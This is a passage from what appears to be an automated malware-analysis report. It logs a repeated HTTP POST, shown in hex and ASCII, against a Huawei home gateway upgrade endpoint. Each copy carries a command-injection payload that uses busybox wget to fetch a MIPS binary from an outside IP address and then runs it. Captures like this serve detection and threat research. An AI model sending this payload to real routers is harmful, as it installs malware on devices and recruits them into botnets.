xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 